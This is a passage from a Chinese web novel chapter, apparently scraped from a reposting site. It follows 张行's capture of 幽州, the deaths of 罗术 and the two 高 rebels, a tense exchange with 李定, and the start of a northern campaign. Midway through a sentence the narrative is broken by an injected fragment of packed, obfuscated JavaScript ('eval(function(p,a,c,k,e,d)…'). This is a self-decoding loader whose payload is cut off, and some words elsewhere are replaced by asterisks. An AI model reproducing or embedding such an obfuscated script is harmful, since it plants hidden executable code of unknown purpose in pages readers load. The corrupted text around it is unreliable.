也就是这个时候,意外发生了。 “小田呢?”重新上马的罗术面色铁青。“让小田来,带两队人巡视下去,执行军法!” 自然有哨骑去寻罗术的心腹、燕云十八剩余十一骑之一的小田副将。 但是,他们没找到。 “没找到什么意思?”罗术忍不住眯起了眼睛。 “大哥!”林六在侧,忽然低声提醒。“找不到就算了,不要张扬。” 罗术叹了口气,在马上狞笑了片刻,看看南,看看北,只能抿嘴。 部队好不容易成行。 行了又不过一刻钟,有哨骑忽然来报,说是两支部队卡在了身后路口,导致部队脱节,不能跟上。 “是谁的兵?”罗术这个时候已经心慌了,他直接勒马到了道旁停下。 “是孙副将与赵司马的。”哨骑立即作答。 孙副将和赵司马,自然也都是十八骑出身。 罗术眼皮跳了一跳,正色来问:“小孙和老赵人呢?怎么不做约束?” “那些人就是说小孙将军忽然就带着十几骑转头从路边田野里回去了,他们也想掉头追上去,却没跟上,反而跟后面的部队撞上了。”哨骑也紧张了起来。 罗术如遭雷击……这一次,怎么都骗不过自己了,的确是有人叛逃了。 可是问题在于,就好像刚才装糊涂不去找小田一样,现在又能如何应对呢?自己的爪牙、心腹,不就是这些人吗?用谁去抓?谁还能信? 自己去?自己去岂不是相当于把整个部队放弃了吗? “老六,你说,要是我一意南下,不会到了到了固安,就跟薛常雄一样,只剩一个人了?”罗术意识到这一点后,扭头看向身侧地位最高的中军心腹。 “不会。”林六叹了口气。“因为没人会主动断了大哥的桥……大哥,事到如今,我请你不要追究什么了,他们只是不晓得大哥安排,惶恐之下自行逃亡罢了。” 罗术闭嘴不言,嘴角跳动,似乎是愤怒,又似乎是在嘲讽。 “大哥!”林六见状翻身下马,抱住了罗术的大腿。“事不能成,就当兵败,咱们掉头吧!” “掉头回城?” “不回去,直接绕城走。”林六道。“这边不能得手,回到城内不过是黜龙军口中的一块肉,咱们直接逃了便是。” “那岂不是不战而逃?”罗术冷笑道。“不行,我都说了,不拘胜败,若不能打上黜龙贼一拳,比**都难受!” “那……” “不过你说的也对,咱们若不回头,只怕路上人要跑光。”罗术自己倒是一如既往的转弯极快。“那走,掉头回去,从幽州桥上过,去打临桑宫,也算是给家眷们出来做个掩护!” 林六无奈,只能应声。 旋即,部队再度停下,整顿,委任临时将领,只说掉头回城,却是让许多人松了口气,因为大家只当是回城。 就这样,二更时分,幽州军忽然全军折返了,而且举着火把就往幽州桥方向过来。 这让临桑宫上下都看懵了: “这是要做什么?绕一圈回来了?” “那谁晓得?闹分崩了,赶紧回城?” “总不能是想来打临桑宫吧?刚刚是调虎离山,觉得我们派出去了不少兵去支援?” “这倒是有些道理。” 众人议论纷纷,却无一人提出什么应对措施……因为早在半个时辰前,应对措施就已经布置好了。 罗术来到幽州桥前,前锋军马早已经狼狈撤回,各自逡巡不前,亲自看时,只见桥上绑满了火把,照的如白日,而宽达百余步的石桥另一头,赫然有一黑甲骑士,胯下一匹怪异斑点龙驹,正横在桥中。 桥对岸到城下的空地上,则是两三百骑黜龙军的踏白骑从容列阵。 那骑士看到来人,直接抬枪相对:“姑父,你如今穷途末路,何不早降?我也好与老娘交代。” 意识到是谁后,罗术眼睛一眯,怒从中来,当即怒吼:“小畜生!若非你之前阵上伤了你表弟,他如何会死?” 说着,径直打马上桥。 秦宝见状无奈,也翻开手中大铁枪,二人就在桥上交手。 坦诚说,罗术是老牌成丹不错,甚至算是半个修行天才,但秦二的真气过于克制寻常凝丹、成丹了,大枪翻转,每次兵器相交都让罗术臂膀一麻。 双方倒是难的在桥上斗的你来我往。 这也就足够了。 前面桥上交战不停,后方十一骑剩余的许多人担心自家家眷,纷纷趁机撤离,乃是普遍性冒着夜色从下游弃甲浮马渡河,往明显已经乱糟糟城中而去。 不知不觉,桥后这支幽州军最后的主力就被抽空了骨架,却浑然不知。 而也就是这个时候,笼火城内,徐师仁与贾越商议后,徐师仁来援的兵马守城,贾越却率领自己的北地**营直接从城内扑了出来。 战斗忽然就爆发了,而且是乱战。 桑干水两岸,北岸连城墙到临桑宫灯火通明,而南岸则是喊杀声震天。 喊杀声喊起来一刻钟后,有两拨人,一自西北,一自东北,远远望见了这一幕,却反应不一。 西北面来者是一队四五百人的骑兵,远远见到这一幕,为首二人一个惊疑,一个却喜上眉梢。 “老高!你的利市来了!”侯君束大喜过望。“罗术必败,你此番过去,将兵马交付,只与我直趋临桑宫来见首席,一则应了城破之前来降,二则顺势请战立功,岂不就立住脚了?” “战事不明,不需要观望一二吗?”高副将略显不安。 “观望个屁!”侯君束恨铁不成钢。“你连降服都要落人之后吗?还是觉得罗术有翻盘的机会?” 高副将终于凛然。 另一侧,东北来的一行人并不多,但几乎人人色变生疑,反倒是前面为首二人,一个惊惶,一个大笑。 惊惶者,正是随从去劝降的元宝存,而大笑者,赫然是幽州人望所在的卢思道。 一身道袍的卢思道笑完,勒马回看身后众人:“诸位,你们好运气,遇到这种事情,直接过去拱卫张首席,明日更可协助张首席入幽州城整理城池,顺其自然,岂不妙哉?须知晚一日,真就要被刑罚了,便是躲过了刑罚,也省不过一番降人的尴尬……速去速去。” 元宝存听到这里,赶紧点头:“不错,速去速去。” 众人本在惊疑中,此时被卢思道一推,倒是鼓起勇气,纷纷打马向前,更有几位有修为的,直接腾跃起来,争相而去。 前面先去的不说,后面的人匆匆赶到临桑宫,见到此间并无半点兵戈,更是暗喜自家选对,然后又被召见,随从卢思道与元宝存一起往临桑宫北面墙上而立。 见到张首席,后者全副披挂,只是来招手:“卢公,速来速来,且观小儿辈破敌。” 卢思道心中大定,领着一众降人走上前去,居高临下一看,却也被惊的说不出话来。 只见此时月末,并无月色,唯独晚春临夏,星汉灿烂,下方野地交战火把乱点,桥上流光溢彩,最让人吃惊的是桑干河水,既映星光,又映火光,还映真气霞光,自临桑宫这个视角来看,似乎将整个天地都倒映入其中一般。 端是眼花缭乱。 这一幕没有持续太久,大约又等了一会,笼火城内的徐师仁部休整妥当,毫不犹豫,全营弃城出战……这一出战,桑干河南岸的幽州军最后一支兵马,登时便全军大溃,各自奔命。 罗术心惊肉跳,便也弃了秦宝,努力腾跃起来,试图往城内而去,孰料,刚到空中,一箭裹着断江真气直接射来,将他空中撞落,直接跌入河中。 张行见状,回头来看牛河:“牛公,事到如今,不必再拖延,请你出手了结。” 牛河不慌不忙,认真来问:“首席要死要活。” “活捉也要杀了悬首示众的。”张行干脆回复。 牛河点点头,腾空而去,脚下长生真气浓郁,联结成条,宛若驾龙而去。 周围降人目瞪口呆,这才意识到传闻不假。 张行到此,终于懒得再看,让人将来降的幽州城内人放回去安抚地方后,就要去卸甲休息了。 而也就是此时,城东某处,一行妇孺之侧,十名壮汉汇集一团,等了一阵子,眼看着河边动静渐小,终于无奈。 一人便也开口:“六哥看来不会来了,他之前就有要为那厮偿命的意思……咱们得先把家眷送走……去哪里?” 其他人神色黯然,却也只能咬牙思索。 而这其中,年纪最小的小田咬咬牙,低头给出了一个建议:“诸位兄长,咱们去固安如何?” 周围九人沉默片刻,然后纷纷颔首认可。 没办法,天下之大,似乎竟只有这一个去处了……那是他们这些人之前十数年居住的老地方,而且那里还有一位很可能是他们唯一一个还在世的结义兄弟可以倚仗。 时不我待,借着星光,十人组织起家眷,便从下游过了一处浮桥,往之前罗术想去而不可达的固安连夜而去。 这个时候,张行卸完了甲,正在擦脸,听着外面各种称颂大胜的动静,其人忽然就想起一事——当日在晋北第一次见罗术,自己跟秦二路上解救的两名妇人去了何处? 可曾活下来了? 这恍惚间已经六七年了吗? 第五十七章 千里行(11) 第517章千里行(11) 三月廿六日,张行起床的时候外面正有些小雨,但不碍事,反而有些消除了这几日晚春燥热。 而一直到上午时分,等着那些降人先入城安定了秩序,然后王雄诞、元宝存两营入城控制了城防,又将罗术首级悬上城门,张首席这才装模作样又绕回到桑干河对岸。 随即,前方以秦宝率领踏白骑开道,身后王叔勇、徐师仁、贾越三营排列整齐,全军甲胄齐整,罩袍统一,军官配鲸骨牌,军士踩六合靴,马匹上面甲,骑兵步兵、******,各自成列。 一身红色戎衣的张首席本人则在马围带领的军中文书、参谋簇拥下,在牛河的护卫下,骑着黄骠马,打着红底黜字旗,经行幽州桥,堂堂正正的进入了他忠诚的幽州城。 这一幕还是很有意义的。 因为到了这个时候,考虑到西北三郡的二高一王联军的战败,完全可以说,河北就此一统。 更不要说,事到如今,黜龙帮可不止是取了河北全境之地利,**架构也得到了考验,经济民生也维持了运行,军队建设和人事建设也成了粗浅体系,玄而又玄的修行者也有了质量和数量。 在很多人眼里,这就是一个完整且勃勃向上的新生国家。 可叹三征之后,烟尘乱起,黜龙帮甫一起事便自称义军盟主,时至今日,局面始终不落人后,功业委实惊人。 回到眼前,张行入得幽州大城,沿着中央大道前行,走到一半小雨就渐渐停了,而待行至总管府前,连青石地面都快干了。 等候在此的众人相迎,轮到卢思道,其人还是一身道士衣服,却又主动以手指天来做恭维:“张首席,黜龙帮此番横扫河北,真真如辉光破云,廓清四野,卢某将走,且先为首席贺。” 这比喻,啧啧,文化人说话就是好听。 张行闻言赶紧上前拉住对方手:“卢公,我见你身体康健,心智高尚,何不共图前程?” 卢思道苦笑以对:“张首席,我与你说实话,实在是之前数十年做官做事把血气都耗尽了,现在一说到去做官做事,就想到之前几十年受到的种种羞辱……还请首席网开一面,让我安静旁观这大势翻腾便是。” 张行见对方说的真切,也不好强求,便立即点头:“既如此倒也罢了,但是卢公全幽州之功人尽皆知,不能不做表示,我与卢公暂署一个不任职的头领,日后开会时来听一听便是。” 卢思道想了一想,一则对方诚意明显,二则他本身也对黜龙帮的治政起了好奇,便也答应了下来。 孰料,张行顺杆子扯,继续拉着对方来言:“除此之外,还有一件份外的事情想请卢公帮忙……卢公先不要推辞,且听我说……我一直以来都在让乡野少年强制筑基,这事是出了名的,到了去年,发现河济之间需要筑基的就只有刚刚到年龄的孩子了,于是从去年开始从那里大举兴建专门的学校,而现在河北一统,除了这些学校外,还准备在邺城建立一个大学,让有心出仕的文修,乃至于武修,都有个汇集和学习的地方……我想请你帮忙修订教材、课程。” 没错,前几日在临桑宫,基于徐水大胜的**影响,张行还觉得局势发展太快了,想着应该把搞宣传导向的部门弄起来,不过两三日,入了幽州城,便又发现,这局势又快了,是时候主动把自己的人才选拔机制中新的一环给挂上了……恰好卢思道本身属于这个方向的人才,却是直接提了上来。 反倒是宣传导向的负责人还是没有头绪。 而得到邀请的卢思道虽然大为心动,可沉吟片刻,反而不安:“首席,不是我不想做,而是这件事事关重大,我却是个古早的老孽,且这事耗费功夫极多,偏偏又耽误不得,所以既怕做不及,又怕做的不合首席心意。” “这事有比没强,早比晚好,而且邺城那里还有魏玄定魏公、张世昭张公他们一起牵头做,断不会把责任推给卢公你一人。”张行好心劝慰。“再说了,真做出来,难道我不看的吗?” “既如此,我就试一试。”卢思道终究是没抵住诱惑。 卢思道应许下来,自然皆大欢喜,可以一起炸面团了。 于是乎,接下来,就在总管府前面,借着头顶的辉光,张首席发表了一场正式的、热情洋溢的讲话,称赞了黜龙军将士的善战,认可幽州上下按时来降人的深明大义,夸奖了大家对幽州城的有效控制与接收。 然后话锋一转,就在这总管府门前,下达了一系列准备好的军令。 乃是要打扫战场,追索逃兵,严肃军法。 要控制幽州各处要道,发了侯君束代领元宝存营往安乐郡扼掷刀岭,发了苏靖方往大宁郡通苦海,发了窦小娘往北平郡复舟山联络柳城、白狼卫。 然后以徐师仁、贾越、王雄诞为首,诸文书、参谋辅助,接管、清查幽州各地城镇、市集、渡口、军营、仓储、官产,统计工匠,报张首席批复。 又以王叔勇、元宝存、马围、张公慎为首,诸文书、参谋辅助,检查原幽州大营文武官吏,裁定任用,报张首席批复。 同时免不了重申军法,但有依旧冥顽不灵抗拒抵抗者,依照之前约定严肃处置,不赦。 还发文徐水、河间、邺城,调度军马北上,充实幽州。 军令下达,张首席立即转换角色,从之前的吃饼督军变身为无情的表格盖章机器……话虽如此,也不是完全波澜不惊,甚至可以说大事小事不断,内争外交不停。 譬如说,刚刚审议降人就遇到了一件事,投奔张公慎的燕云十八剩余十骑,到底是属于幽州城破之前投降还是幽州城破之后投降其实是一个非常难界定的事情,因为他们在天亮后才抵达固安。 当然,这件事本身很小,在听完这些人的经历后,张大首席直接越过时间问题,指出这十人有拯救已经确定为黜龙帮阵营降人家眷之功勋,可以予以优待。 立即就顺利解决了。 不过,这件事倒也引起了他的一些格外想法。 于是,他又专门写信给邺城的魏玄定,让对方准备一个关于特赦制度的提案。 然后还有骑兵编制的事情。 黜龙帮有自己的军队体系,不可能打下一块地方就把降兵一股脑的全收了,肯定要先设置编制,然后挑选任用,但幽州有一个特殊的地方,就是本地素来有骑兵传统,而且因为挨着北地与苦海,战马资源充沛,所以骑兵极多。而黜龙帮的军队体系中肯定不能说缺马、缺骑兵,但也仅仅是不缺,所以面对着优质且配合的骑兵兵源,负责整编的王叔勇就动了心思,想要多留一点。 他提出,应该给所有目前的营增加两队两百名骑兵,或者既然地盘大了,干脆集中增设十个骑兵营。 张行给出的答复很简单,原则上同意保留更多的骑兵编制,但要先行遣散回家,再行授田,然后按照名册重新招募,具体事宜,发大行台与诸龙头议论。 这件事,本质上进取幽州过快导致的。 而且这还只是幽州这边的事情,河间、徐水、邺城、西北三郡照样事情不断……什么慕容正言到底是拒绝了出仕,然后谁来补慕容正言河间方向大头领位置引发了邺城与河间的争端;什么邺城方向有百姓建议张首席称帝,又有些帮内人觉得首席不称帝无妨,但应该正式建国立号。 除此之外,关于河间、幽州、西北三郡是否要设行台,谁来负责的问题,则更是暗流涌动,陈斌、雄伯南、徐世英职责范围之内倒也罢了,但据张行所知,不少帮内大小头领都在串联……准备按照山头推一些出来。 就是这种纷乱的情况下,很快又来了一件事情,却似乎没什么可讨论的价值。 因为这件事情与其说是事情,更多是个消息——三月廿八,李定遣人将代郡二高的首级一并送了过来,并汇报了对西北三郡的扫尾过程。 过程很简单,二高战败后逃了回去,矛盾立即爆发……没办法,两人从一开始就是面和心不和,虽然都姓高,但起事时一个是本地顶尖的豪强大户就势扯旗,另一个是矿工加私盐贩子拼命斗狠,从来就不是一路人,只是被局势压迫着聚在一起,甚至高开行在罗术征讨代郡时还主动绕开高道士投降过罗术,而高道士自诩跟雄伯南有旧,这一次作战根本不愿意来的,乃是被高开行胁迫着过来的。 故此,战败回去之后,高道士就战战兢兢,生怕会被高开行给剁了,于是先下手为强,一边设宴尝试毒杀对方,一边联络李定,说自己是雄伯南的生死兄弟,两年前也得到过雄伯南的正式任命,请李龙头速速发精锐去接应。 而按照军中某些途径汇报,李定这厮明显耍了个花枪,当场答应,还当着使者的面下了军令,动员了部队,却速度奇慢,结果高道士那里得了一半的手后,**的高开行在亲卫的带领下居然逃了出来,复又发兵攻打高道士。 一对渤海高氏出身的本家,又是代郡本土义军的两个领袖,就这么放肆自相残杀一通,杀的血流成河,杀的妇孺难存,杀的刀枪卷刃,一直到黜龙军出现,才控制了局面。 此时,高道士已死,高开行还有半条命,被李定以罪魁祸首的名义就地斩杀,悬首示众。 这件事情没有争议,没有麻烦,没有人可以说什么。 因为从黜龙帮的角度来说,这俩人死的好,死的妙,一下子就把西北三郡弄干净了……李四郎手段了得。 实际上,原本留在井陉口有些观望态势的王臣廓在知道这一消息后,立即、毫不犹豫、极速的带着他的残部整个逃入到了晋地,去做他的大英忠臣去了。 一时间,西北三郡干净的不能再干净。 但是,仅仅是如此吗? 军事如此,**如何? 跟高道士有生死之交,跟王臣廓以往也素来齐名的雄伯南雄天王嘴上无话可说,心里怎么想这事?这种肆无忌惮的对降人欺骗、利用,包括二高旧部、家眷的惨烈,会不会让刚刚投降的河间、幽州人惊惶?还有,李定这么做,必然有借着帮规掩护取得高道士家产犒赏西进部队的嫌疑,会不会让部分帮内性格耿介的人感到不满? 隔了一日,外面又开始下雨了,雨不大,却因为伴随着升温与南风而稍显聒噪。 张行盘腿坐在幽州总管府后院的砖榻上,望着榻前桶内两个被石灰腌渍到不成样子的首级,微微皱眉。 屋子里大概还有四五张桌子,十来个忙碌不停的文书、参谋,门内廊下还有七八名甲士,坦诚说,能在这个屋子里帮张首席处理文书与表格的人,不敢说全是人精,但绝对少不了人精。 尤其是资历最深的封常,最近格外主动。 “首席。”封常思索再三,站起身来,来到榻前,避开那个木桶,低声相对。“要不要补发一封公文,催促一下李龙头?” “催促他什么?”张行平静来问,俨然意识到了对方的意思。 “催促什么都行。”封常低声道。“总之,借此提醒一下李龙头,也模糊的保护一下他,好让人知道,李龙头事出有因。” “也罢。”张行叹了口气。“发个公文,催促他尽快向西,打通与晋北通道。” 封常立即应声回转。 张行则再度低头去看那首级,心中一声叹气……他其实晓得,一切都是徒劳,因为李四这厮根本就是乐在其中。 没错,李定从来都不是为了什么目的不得已如此,或者为了特定的指标而刻意为之,他就是喜欢这些,用代价最小的方式来获取最终的成果本身对他而言就是一种奖励,实现这个的过程就是他愉悦的源泉。 这似乎是好事,包括眼下这件事情也不可能真有什么严重后果。 可问题在于,这一切的一切,似乎包括他李四这个人本身似乎都被包裹在了单纯的军事范畴内。 少年时受的教育是军事教育,自我钻研的也是军事理论,年轻时履任的工作是军事工作,后来乱世开启,所获得的成就也都来自于军事反馈。 这个人不是没有其他的才能、品德、魅力,但似乎这一切都是为了服务于他军事行为的。 所以,当其他视角与军事视角冲突时,他会无条件选择军事视角。 什么张三雄天王,你就说我这一仗打的如何吧? 能如何?会在任何**体制中成为内部**斗争天然靶子的! 但没办法,有问题不可怕,可怕的是这厮到死都改不了。 更要命的是张大首席心知肚明,他早已经设计好了这柄绝世宝刀的指向,而按照计划,接下来数年,恰恰需要李定这厮在军事上的乐在其中来打破僵局。 换句话说,造成李四现在这个情状的人,本就是他张三,而且他还要继续推动对方往这条路上走。 正胡思乱想中,秦宝忽然进来了,看了眼木桶,躬身一礼,口称职务:“首席,我听人说二高的首级到了?” “是。”张行看了对方一眼,立即醒悟过来。“你是要求情换下罗术的脑袋安葬吗?” “是。” “也行吧,正好三天了。”张行想了一想。“等明日正午取下来,交给你姑姑,还有罗信的尸身不是也到了吗?一并交给她去安葬。” “多谢首席宽宏。”秦宝如释重负。 “怎么讲?”张行看到对方状态不对。“这几日被逼迫的受不了了?” “到底是姑母,而且丈夫、儿子都无了,我不能不管,更不能嫌弃,但委实如坐针毡。”秦宝摇头不止。“比那些日子瘫在榻上动不了都难受……莫忘了,他丈夫儿子没一个是我杀的不错,但两个人身死也都与我有关系。” “难为你了。”张行自然无话可说。 秦宝无奈,复又坐到榻上来问:“三哥,这河北算是平定了,没有战事了?” “怎么,你想出去躲躲?” “诚然如此。”秦宝点头。“躲一躲,等她回到河南见到我娘,我就省事了。” “不好说。”张行拍了拍案上一摞文书道。“真要打仗,无外乎是往北、往西、往东……” “往东?”秦宝略显诧异。 “就是昨天才到的消息……”张行稍作解释。“登州程大郎传的讯,说是有东夷水师出现在沿海,而且尝试登陆劫掠百姓。” “应该是知道我们大举北伐,来看看能不能捞点便宜。”秦宝立即给出看法。“相隔数百里的落龙滩与海路,哪怕是往这里来的真龙被重伤了,可没有充足准备和足以让他们立住脚的兵力,不会真跟我们打的……而且咱们没有水师,也不是我们想打就打的。” “不错。”张行也认可。“咱们跟东夷之间经历了上次的事情已经是刀兵相见,是敌非友了,以后这种事情怕是要成常态。” “西面和北面……” “西面是有个王必成,以前在晋北雁门到河北上谷一带活动,被魏文达领兵击败过一次后待不住,就越过晋北,去定襄一带投奔了梁师城,现在背靠着白道关的陈凌不停尝试侵占定襄……你还记得陈凌吗?他现在是梁师城的左膀右臂。” “一辈子都忘不了。”秦宝冷笑一声,复又正色来问。“现在要打他们吗?薛挺和梁师城这俩位,应该算是白横秋的心腹之患吧?白横秋现在应该在打薛挺?” “肯定是在打。”张行点点头。“但我们打不打梁师城不是看白横秋,而是要看洪长涯的意思……如果他和晋北的人坚定要打,我们只能去打。” “也是。”秦宝点点头。“这事不是我们说了算……而且也太远了,打起来怕是也要李四郎来处置。” 张行听到这里,莫名有些迟滞,明显是在思索什么,片刻后却才继续说道:“北面就是柳城与落钵城,北地八公七卫,这两个城挨着燕山,早被大魏用手段夺了,如今是关陇高门在袭爵……照理说该打,但……” “但也得跟荡魔卫的人打好招呼。”秦宝立即就懂了。“可偏偏咱们进展太快了!” 张行点点头。 秦宝也无奈起身:“那我去临桑宫的营中转转,再躲一躲。” “人头带出去。”张行顺手一指。 秦宝便将木桶挎在胳膊上,如同挎着一个装饼子的食盒一般给直接挎走了。 秦宝一走,旁边封常便将拟好的公文送了上来。 孰料,张行接过公文,仔细看了一阵子,忽然将这封公文撕成两半,然后扔到了地上的柳条筐中。 封常心一惊,赶紧肃然立身,等待吩咐。 “重新拟三封军令。”张行听着窗外雨滴声,更改了主意。“第一封给燕山前线所有头领,让各部主动侦查和接触柳城、落钵城,主动联系白狼卫、铁山卫,告知他们,我们要取柳城与落钵城……对待荡魔卫的人态度要好,不许发生冲突,最后请对方司命级别的人来一趟。” “是。”封常立即点头。 “第二封军令给单通海单龙头,让他极速北上,从飞狐陉进入晋北,协助洪长涯洪龙头控制局面。” “是……” “第三封军令,给李定,让他引兵来幽州,准备进取北地!” “……” “怎么?”张行看到对方顿住不应声,不免发问。 “首席,北地之进取是不是有些急切?”封常小心来问。“我赞同请李龙头来幽州,但北地那里应该以外交为主吧?最起码应该先做外交尝试才对……而且,我们这一次一口气吞下整个河北,想要吃干抹净,总要时间,人事扩充、军制扩编,地方重新授田更是要等到秋后,都是麻烦,这些日子的忙碌就是明证。” “你说的有道理。”张行想了想,认真回复。“但两城若下,便可将兵直压北地腹心,且自古征战艰难,每一发兵,头须为白,所谓人心苦不足,既得幽,又望北,不也是寻常事吗?” 封常点点头,一声叹气,立即改了话锋:“首席说的对,北地冷冽,冬日几乎不可行军,若不能趁着现在天气暖和去攻取,便要白白浪费一整年时间,到时候还得重整军势北进……既如此,我现在就去拟定文书。” 封常既去,须臾便将三份多封军令拟定,张首席看完之后没有异议,便依次签上“张三”二字,然后加盖上此次北伐前才刻好的首席章鉴,再由参谋封装,便经过黜龙帮的巡骑体系正式传达了出去。 军令传达,速度毋庸置疑,理论上不停换马一天就能到李定处,但即便如此,李四郎在四月初一便抵达幽州城还是显得有些过快了。 他居然是轻身过来的。 来的时候,幽州城这边已经放晴,而张首席本人并不在总管府,而是北面城墙上。李定闻得讯息,也不等候,直接上了城墙,却看到了一副稀松平常的景象。 “城外土包子,馅料在城里。一人吃一个,莫嫌没滋味。”眼见李四到来,张三又不知道盗了谁的诗。 李四看了看城北起的一片新坟,复又回头去看城内,果然看到城门内两侧偏道上摆满了棺椁,然后低头一算,不由皱眉:“七日了吗?中原五日,江南三日,北地七日……不过你这又是发的什么疯?打仗难道不**?堂堂一国之首,一军总帅,在这里感慨敌军性命?” “李四,你须珍惜一下眼前。”张行无语至极。“现在我还能说道你几句,真到了独当一面远征**的时候,你便是想我说道,怕是都寻不到我人。” 李定微微一愣,立即来问:“果真要立即打北地?” “打。”张首席毫不犹豫。“先把柳城、落钵城打下来,我同时去寻荡魔卫做交涉,若能迅速交涉妥当,你就继续北进,最好能在冬日前打到听涛城……便是今年打不到,明年也要打到,反正你就是北面主帅。” 李定长呼了一口气:“那就好,我还以为你是要撤了我兵权呢。” 张行诧异回头来看。 李定被看的发毛,而此时城内棺椁也开始往外运送,城门内外登时哭声一片,无奈何下,李四郎只能低声来对:“是王臣愕,他从后方押运粮草……” “他怎么说?”张行依旧冷冷。 李定沉默了片刻,只能在周遭越来越重的哭声中低声解释: “他说,我用计弄**高道士,雄天王一定心中愤我至极,而且我这次确系用这个法子取了高道士家产做战利品,有收买西路军心的嫌疑,你身边那么多文书,有年轻的聪明人,有年长的东都资历,个个都想做头领,一定会与你说,李定要将武安三郡与西北三郡连成一片,将来与白横秋决战时,我一旦倒戈,后果不堪设想……然后你文书就到了。” “所以轻身而来,以示忠忱,还是**?”张行依旧冷冷。 李定没有吭声。 “李四。”张行盯着对方叹气道。“就这,你还嫌我话多?真到了你领大军在外我在内的时候,怎么办?我能保证压住里面,你能保证压住外面吗?” 李定愈发尴尬。 张行却根本不放过对方,反而摇头:“其实这样还好,真要是咱俩反过来,你自己起了一方势力,又非得领兵远征,我是给你留后镇守的,只怕你在前线呆着呆着就觉得我要**,回身砍了我!” “我如何砍的动你?”李定终于气闷开口。“真有那个局面,怕是要上上下下一起给你披上一件龙袍,反过来对我替天行道了。” 张行摇头不止,然后肃然以对:“李四郎,我跟你说清楚,不要把这种事情不当回事,你既入了黜龙帮,我自然会按照咱们东都悠游时的言语,给你统兵一方,远征**的机会,但你也要自己拿捏的住!你须知道,军事讲人情会出大乱子,但**上不讲人情,却反而会出大乱子,跟帮里核心人物有一个好的关系,本身就是一种好的**举措。” 李定低头许久,却似乎还是不服气:“那要处置王臣愕吗?” “处置他干吗?”张行不以为然道。“这种人还能少吗?去了一个再冒出来一个,你到时候说不得又觉得自己对了呢!只自己把持住便是。” “你要真处置他,我反而不能答应的。”李定叹了口气。“不然我如何在军中立足?” “我既要用你清廓**,如何会让你无法立足?”张行再度看向对方,表情中全是一言难尽。“你能不能分得清好赖?!” 倒是李定,被看的浑身不自在,不免有些尴尬,乃至于扭头躲闪起来。 就这样,二人继续在城头上站了下去,目送城内出殡城外安葬,折腾了许久方才离去。 翌日,张行、李定扔下进军幽州的兵马,只与牛河一起,带贾越一营与秦宝踏白骑北上,行至螺山稍待,又过两日,李定此次所督十一营兵马中前锋刘黑榥营便已经抵达,而且按照军令径直越过螺山,进入安乐郡。 四月初五,徐世英所督六营兵马也抵达幽州城下,就势屯 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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“这个就不是一句话能说清楚的了。”黑延被打断思路,苦笑一声。“是有些相互忌惮,不好出全力坏了古早规矩的意思,但北地冬日长一些,打起仗来束手束脚也是有的,包括柳城这里,我们之前不是没动过心思把柳城打下来,可之前柳城背靠着幽州我们不好下手也是有的……” “原来如此。” “至于陆夫人那里的事情,怕是张首席要去北面黑水走一遭问问大司命了。” “一定要去的。”张行正色应声。“实际上,我准备让李定李龙头来领军,我亲自北上走一遭,我妻三娘也想见一见大司命,她速度快,应该很快能追上。” 黑延点点头,然后忽然肃然来问:“张首席是一定要全取北地吗?” “不错。”张行坦荡应声。“黜龙帮既求一统天下,怎么可能放弃就在身侧的北地呢?而从我个人而言,本就是北地出身,既建立黜龙帮以遂生平之志,又怎么可能不囊括家乡呢?这难道不是人之常情?黑司命没有想过吗?” 黑延迟疑了片刻:“若是如此,张首席准备如何处置我们荡魔卫呢?” “其一,我绝不会用处置二字来对待荡魔卫,我本出身于此,两家又素来和睦,自然希望两家能合而并之。”张行即刻应声。“其二,至于如何合而并之,却正是我去见大司命要说的事情……当然,黑司命若是沿途随行,咱们自然可以先做探讨。” 黑延再度沉默了下来,良久方才再度开口:“事关大的方略,我的确不好多说,但是张首席,我还是白狼卫新上任的正司命,须为白狼卫替你要个保证……” “我从大司命那里回来之前,只夺柳城、落钵城……散落在各处的战团,只要主动离开这两地,我军也不做追击。”张行随即补充。“还望白狼卫的兄弟主动替我与铁山卫做个联系,一起控制住局面。” 黑延终于无话可说,半晌起身:“既如此,咱们宜快不宜迟,不知道张首席要带多少人?” “三十骑足矣。”张行端坐不动,稍作解释,然后又看向身侧一人。“如何,可要同行?” 被问到之人,也就是黜龙帮大头领贾越了,闻言也随之起身:“本有此意。” “那就去吧。”张行终于也站起身来。 倒是黑延此时有些不安:“张首席要不要多带些人?不是说有三百骑踏白骑吗?还有一位姓牛的宗师?” “无妨。”张行摆手道。“我自去北地黑水见大司命,难道还要担心安全不成?而退一万步说,最后没有好结果,翻了脸,我也不信大司命会当场扣下我;反过来说,我带了踏白骑与牛大头领一起去,翻了脸,荡魔卫要留下我,难道还能跳的出来?” 黑延无奈,只能点头。 既定下方略,张行一行人便即刻动身……乃是真的即刻动身,十骑准备将,十骑文书,十骑参谋,加上张行、贾越,以及确实不放心要随行的秦宝,而黑延那里则是选择留下十人襄助联络,自己则与二十骑白狼卫武士随行……双方不过五十骑出头,一人双骑,直接就出发了。 很显然,张行这里的人选和补给是早就准备好了的。 实际上,早在螺山时,文书之间就出了点小插曲……许敬祖坚定的要随行,而眼见如此,原本并不准备冒险北上享受北地风情的封常却也改变了主意,主动寻求随行,结果入了山后,这厮不知为何,复又感染了风寒。 当然,还是许敬祖领队。 回到眼前,从进入掷刀岭的那一刻,张行便晓得为什么会有这个名称和那个传说了,因为整个山岭中的通道都仿佛是被乱刀切过一般,虽有坍塌冲刷,植被遮蔽,也不能遮掩这种奇怪地貌的大略。 尤其是中间很多石层,都被整齐切割,两侧俱是高低悬崖。 张行唯一能想到的可能,就是有大宗师以上的高手,在此山中以真气开伐道路所致,甚至就是有真龙神仙一般的人物,直接在空中划开地形。 从这个角度来说,怪不得掷刀岭与红山齐名,都是这个世界超凡力量的直接体现。 走了一阵子,来到一处路口,前方道路被山洪冲垮,白狼卫的人轻车熟路,试图夯实碎土再过去,秦宝、贾越也去帮忙,也就是这个时候,张行注意到了路边露出的石碑。 他走了过去,认真的打量。 但是很可惜,跟卢思道一样,他也读的似是而非。 “这是古字。”黑延稍作解释。“据说是黑帝爷跟赤帝、罪龙争雄时的文字……据说那时候只能刻在石碑与铜铁之上。” 原来是金文……张行心中恍然,怪不得能看出许多字形,却多不认得。 不过,这个世界的文字也是从甲骨文一步步演化来的吗?为什么不让造字的那位圣贤直接感悟到小篆或者楷书呢? 张行此时再来想这些事情,就已经没有畏惧和不安了,而是带着某种趣味性的审视心态。 